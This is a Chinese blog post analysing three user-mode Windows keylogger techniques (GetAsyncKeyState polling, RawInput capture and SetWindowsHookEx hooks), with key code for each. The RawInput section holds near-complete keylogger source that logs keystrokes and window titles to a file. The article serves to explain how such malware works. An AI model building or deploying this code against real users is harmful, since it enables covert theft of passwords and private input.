键盘记录分析--应用层

1.概述

键盘记录是恶意软件中常见的组成部分,被用于窃取用户键盘输入信息,是直接泄露用户隐私的重要安全问题。键盘记录器的种类繁多,有运行于应用层的,有运行于内核层的,还有硬件版的键盘记录器。近期爆出惠普笔记本存在隐藏键盘记录器,该键盘记录器隐藏于声卡驱动包中。

事实上,软件记录器由来已久,各大安全厂商也在防御软件记录器方面做出大量努力,但键盘记录器的传播与发展从未停止。

本文分析了三种常见的键盘记录器:GetAsyncKeyState轮询键盘消息、RawInputData直接从输入设备获取数据和SetWindowsHookEx利用钩子函数。这三种键盘记录器传播广泛,且都是运行于应用层(ring3)。

2.GetAsyncKeyState——轮询键盘消息

该方法其实是通过不断检测键盘上某一个键是否被按下来获取键盘记录。

该方法中最重要的API是GetAsyncKeyState( ):

publicstatic extern short GetAsyncKeyState(int vKey);

//vKey是虚拟按键码可以用这三种表示:'1',VK_LSHIFT,0x41,(但是用0x41只能捕捉到A不能捕捉到a)

GetAsyncKeyState判断在此函数被调用时,某个键是处于UP状态还是处于DOWN状态,及前次调用GetAsyncKeyState函数后,是否按过此键.如果返回值的最高位被置位,那么该键处于DOWN状态;如果最低位被置位,那么在前一次调用此函数后,此键被按过,否则表示该键没被按过.

如键已被按过,则位0设为1;否则设为0。如键目前处于按下状态,则位15设为1;如抬起,则为0。

调用GetAsyncKeyState循环判断每一个键是否被按下,如果被按下返回值是0x8001(十进制:-32767),即位0和位15都被置1。

调用GetKeyState(VK_CAPITAL)判断VK_CAPITAL键状态,区分大小写。

//*********************关键代码**************************

while(1){

Sleep(8);

if (GetAsyncKeyState(VK_SPACE) == -32767){

cout<< " ";

}

if (GetAsyncKeyState('A') == -32767){

if (GetKeyState(VK_CAPITAL)==1)

{cout<< "A";}

else {cout<< "a";}

}

if (GetAsyncKeyState('B') == -32767){

if (GetKeyState(VK_CAPITAL)==1)

{cout<< "B";}

else {cout<< "b";}

}

...

if (GetAsyncKeyState(VK_RETURN) == -32767){

cout<< endl;

}

if (GetAsyncKeyState('1') == -32767){

log << "1";

}

...

if (GetAsyncKeyState(VK_LSHIFT) == -32767){

log << " SHIFT-";

}

if (GetAsyncKeyState(VK_MENU) == -32767){

log << " ALT-";

}

}

//*************************************************************

3.RawInputData——从输入设备获取数据

利用原始输入数据(RawInputData)获取键盘记录,首先要新建一个窗口类,并将其注册为原始输入设备(RegisterRawInputDevices),之后进入消息循环,在wndproc消息处理函数中利用GetRawInputData获取RawInputData结构体,解析这个结构体获得键盘按键信息并保存。

在逆向分析中,利用RegisterClass()可以手动获取WndProc()函数地址:

RegisterClass(&wndClass);中获得wndClass结构体,内存中查找wndClass.lpfnWndProc的值。

GetForegroundWindow ----此函数用于获取当系统当前的前台窗口句柄,即当前处于激活状态下的窗口,此函数没有参数。

FindWindow---此函数用于获取具有参数指定的窗口类名和窗口标题的窗口的窗口句柄。通常我们只用传入第二个参数,也就是窗口的标题名就可以了。

//*********************关键代码**************************

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)

{

//设置窗口类属性

MSG  msg;

HWND                hWnd;

WNDCLASS            wndClass;

wndClass.style          = CS_HREDRAW | CS_VREDRAW;

wndClass.lpfnWndProc    = WndProc;

wndClass.cbClsExtra     = 0;

wndClass.cbWndExtra     = 0;

wndClass.hInstance      = hInstance;

wndClass.hIcon          = LoadIcon(NULL, IDI_APPLICATION);

wndClass.hCursor        = LoadCursor(NULL, IDC_ARROW);

wndClass.hbrBackground  = (HBRUSH)GetStockObject(WHITE_BRUSH);

wndClass.lpszMenuName   = NULL;

wndClass.lpszClassName  = TEXT("Twnd");

//注册创建窗口类

RegisterClass(&wndClass);

hWnd = CreateWindow(

TEXT("Twnd"),   // window class name

TEXT("键盘记录测试"),  // window caption

WS_OVERLAPPEDWINDOW,      // window style

CW_USEDEFAULT,            // initial x position

CW_USEDEFAULT,            // initial y position

CW_USEDEFAULT,            // initial x size

CW_USEDEFAULT,            // initial y size

NULL,                     // parent window handle

NULL,                     // window menu handle

hInstance,                // program instance handle

NULL);                    // creation parameters

//注册原始输入设备类

if(!RegisitKeyBord(hWnd))

return 0;

ShowWindow(hWnd, SW_SHOW);

UpdateWindow(hWnd);

//进入消息循环

while(GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return 0;

}

// WndProc中利用GetRawInputData获取RawInputData结构体,解析这个结构体获得键盘按键信息

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

{

HDC          hdc;

PAINTSTRUCT  ps;

char vk[256] = {'\0'};

char ti[256] = {'\0'};

UINT        dwSize;

LPBYTE      lpb = NULL;

RAWINPUT*   raw = NULL;

DWORD       dwWritten = 0;

PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");

switch(message)

{

case WM_INPUT:

if(NULL == GetRawInputData)

{

DefWindowProc(hWnd, message, wParam, lParam);

return 0;

}

GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));

lpb = new BYTE[dwSize];

if(lpb == NULL)

{

DefWindowProc(hWnd, message, wParam, lParam);

return 0;

}

if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)

break;

raw = (RAWINPUT*)lpb;

if (raw->header.dwType == RIM_TYPEKEYBOARD)

{

if ( prev == NULL)

{

prev = GetForegroundWindow();

//GetForegroundWindow在用户模式下检测软件切换

GetWindowText(prev,ti,256);

wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));

}

else if ( prev == GetForegroundWindow() )

{

wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));

}

else

{

prev = GetForegroundWindow();

GetWindowText(prev,ti,256);

wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));

}

if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))

{

SetFilePointer(hFile, 0, NULL, FILE_END);

WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);

}

}

delete[] lpb;

DefWindowProc(hWnd, message, wParam, lParam);

return 0;

case WM_PAINT:

hdc = BeginPaint(hWnd, &ps);

TextOut(hdc, 10, 10, szInfo, strlen(szInfo));

TextOut(hdc, 10, 30, szTips, strlen(szTips));

EndPaint(hWnd, &ps);

return 0;

case WM_DESTROY:

PostQuitMessage(0);

CloseHandle(hFile);

return 0;

default:

return DefWindowProc(hWnd, message, wParam, lParam);

}

}

PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)

{

HMODULE hDll = LoadLibraryA(dllname);

if(NULL == hDll)

return NULL;

PVOID pProc = GetProcAddress(hDll, procname);

FreeLibrary(hDll);

return pProc;

}

BOOL RegisitKeyBord(HWND hwnd)

{

if(NULL == hwnd)

return false;

PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");

if(NULL == RegisterRawInputDevices)

return false;

RAWINPUTDEVICE rid;

rid.usUsagePage = 0x01;

rid.usUsage = 0x06;

rid.dwFlags = RIDEV_INPUTSINK;

rid.hwndTarget = hwnd;

return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));

}

//*************************************************************

4.SetWindowsHook——利用钩子函数

利用SetWindowsHookEx可以轻松实现消息钩子。

钩子过程是由操作系统调用的回调函数,安装消息“钩子”时,“钩子”过程需要存在于某个DLL内部,且该DLL的示例句柄即是SetWindowsHookEx中的参数hMod。这就是为什么要先加载dll,然后再钩取。

具体过程:exe程序调用LoadLibrary(dll),加载dll程序,dllmain()中switch(dwReason)进行DLL被加载或卸载时的操作。使用回调函数LRESULT CALLBACk  Keyboardproc(),这是消息处理函数,先利用dll中的导出函数挂钩,SetWindowsHookEx进行挂钩,利用SetWindowsHookEx挂钩后,消息会首先传给dll,dll遇到消息就会调用消息处理的回调函数Keyboardproc,在这里会调用CallNextHookEx将消息传递给应用程序(下一个“钩子”),UnhookWindowsHookEx脱钩。这里只是实现了键盘钩子的挂钩和脱钩,并没有实现键盘记录功能,键盘记录功能是在回调函数函数Keyboardproc中实现的,类似RawInput中消息处理函数。

使用SetWindowsHookEx的好处在于,你可以同时钩住所有桌面上的进程并确保监听到所有的键盘信息,而不是通过GetAsyncKeystate循环检测每一个键的状态这样会遗漏一些记录。

//*********************关键代码**************************

//HookMain.cpp

void main()

{

//加载KeyHook.dll,会调用DLLMain,

hDll = LoadLibraryA(DEF_DLL_NAME);

...

FreeLibrary(hDll);

}

//KeyHook.cpp

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)

{

switch( dwReason )

{

case DLL_PROCESS_ATTACH:

g_hInstance = hinstDLL;

//挂钩

SetWindowsHook(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);

break;

case DLL_PROCESS_DETACH:

UnhookWindowsHookEx(g_hHook);//脱钩

break;

}

return TRUE;

}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

char szPath[MAX_PATH] = {0,};

char *p = NULL;

if( nCode >= 0 )

{

// bit 31 : 0 => press, 1 => release

if( !(lParam & 0x80000000) )//释放键盘按键时

{

GetModuleFileNameA(NULL, szPath, MAX_PATH);

p = strrchr(szPath, '\\');

//比较进程名称,如果是DEF_PROCESS_NAME)则消息不会传给应用程序或下一个钩子

if( !_stricmp(p + 1, DEF_PROCESS_NAME) )

return 1;

}

}

//CallNextHookEx消息传给应用程序或下一个钩子

returnCallNextHookEx(g_hHook, nCode, wParam, lParam);

}

5.总结

本文介绍的三种键盘记录器都比较简单,网上也有许多分析文章。运行于Ring3的键盘记录器很难躲过安全软件的检测,运行于Ring0的键盘记录器则更加隐蔽精巧,以后再作分析。最后,笔者学历不高,能力有限,欢迎各位指点补充。

本文内容主要来源于互联网,由于本文完成时间跨度较大,资源来源较杂,无法一一求证,如有侵权,欢迎告知。在此感谢所有传播与分享知识的人。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,951评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,606评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,601评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,478评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,565评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,587评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,590评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,337评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,785评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,096评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,273评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,935评论 5 339
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,578评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,199评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,440评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,163评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,133评论 2 352

推荐阅读更多精彩内容